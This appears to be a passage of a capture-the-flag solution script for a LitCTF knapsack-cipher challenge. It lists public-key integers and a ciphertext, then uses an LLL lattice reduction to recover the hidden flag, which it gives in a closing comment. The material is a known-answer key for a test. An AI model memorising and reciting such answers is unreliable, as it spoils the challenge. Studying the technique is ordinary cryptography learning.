228492979916155878048849684460007011451, 240557187581619139147592264130657066299, 187388364905654342761169670127101032713, 305292765113810142043496345097024570233, 303823809595161213886303993298011013599, 227663140954563126349665813092551336597, 257833881948992845466919654910838972461, 291249161813309696736659661907363469657, 228470133121759300620143703381920625589, 337912208888617180835513160742872043511, 252639095930536359128379880984347614689, 306613178720695137374121633131944714277, 328627523443531702430603855075960220403, 283995291614222889691668376952473718279, 185992200035693404743830210660606140043, 175575945935802771832062328390060568381, 239709736751531517044198331233711541211, 325191992201185112802734343474281930993, 285825734319916654888050222626163129503, 260820892372814862728958615462018022903, 271109638409686342632742230596810197399, 195432366301516284662210689868561107229, 252351678712166898804432075801905414141, 175869608753229067314866329908981554323, 212291732707466211705141589249474157597, 299891357045144243959903067354676661051, 271237385422923460052644584552894282763, 268702576849722796315440463412052409241, 198273535005705777854651218089804228523, 177684355989910045168511400849036259973, 189237944200991357454773904466163557789, 175427967765368330787115337317676160499, 270446056495616077936737430232108222303, 243318639972702711024520926308402316247, 223872107662231922057872197123261908053, 268995355861070998347238198063073079851, 244478236168888494353493404999149985963, 230731375083676409248450208772518041369, 231630208287176700035265642824425872113, 187649298194887119502654724235771449423, 264924369987111619306245625770849264491, 327092811483332202721992798797117253283, 274967838920225995524024619709213673571, 313836314009366857157961838519499192671, 181860768653760352435352944732117309357, 184011200837375425882494435177626368109, 246455975565763627776562816894916143559, 262208917125258935991543552004318662109, 334006940602786701813813048552124976177, 241119397420390120456580389194328607351, 255370083166310325724283692646412327547, 280056982387584554076672702548437488901, 190822826881447578202544631446213911541, 206119293866065537243159766877834200177, 289535246575130471484249052043282790337, 222004375767927951747133364917437739627, 186041951615746748538744491355290007923, 299120276948597373232905692530626175519, 268645812049699572580085139845553457511, 231990902203442306941381714523426756489, 259677531562170067444672097354970172129, 232573792063456357545735601063504090387, 268451806037215206985127877726665463011, 324266632324016349795115268035757999593, 323952615081869295386415078624753400501, 302316593553669781596237136546083536339, 235576231941572491681115931798290883659, 202271277470197960243533508432663735031, 172391954991101354275650988921310984563, 215333185856183701105529790905068832303, 335916893044781805453250006520700519353, 217268288923298532517983372665872329797, 265455575922780577837866687874732212733, 182194442259001995170676842797322170297, 180222796978664332193987060700843734759, 332629077640484670095070754759241249101, 238815683708676274248277883404136375767, 246167709707533867216616011486975023679, 188375282015595301232040104228085154549, 230675799347049231846866057019582889423, 290911573230654740468234181613682439691, 173178956820933028868714760884278201561, 340087079300305236498945763514358009773, 215775253913162994758086261347636015049, 286306008278685809877266756697807931889, 175231652202310718229276393280541484041, 230887015177563361309867021497576716609, 306478031708687513424095160106047572447, 172289054804425429042492673052057816187]
enc = 82516114905258351634653446232397085739

known = b'LitCTF{' + b'\x00'*8 + b'}'
bin_known = bin(bytes_to_long(known))[2:]
for i in range(len(bin_known)):
    enc -= pubkey[i] * int(bin_known[i])
    enc %= p

new_pubkey = pubkey[-72:-8]
n = len(new_pubkey)
d = n / log(max(new_pubkey), 2)
print(CDF(d))

for k in trange(256):
    S = enc + k*p
    L = Matrix(ZZ,n+1,n+1)
    for i in range(n):
        L[i,i] = 2
        L[-1,i] = 1
        L[i,-1] = new_pubkey[i]
    L[-1,-1] = S
    L[:,-1] *= 2^200

    for line in L.LLL():
        if set(line[:-1]).issubset({-1,1}):
            m = ''
            for i in line[:-1]:
                if i == 1:
                    m += '0'
                else:
                    m += '1'
            flag = b'LitCTF{' + long_to_bytes(int(m,2)) + b'}'
            print(flag)
            # LitCTF{Am3xItsT}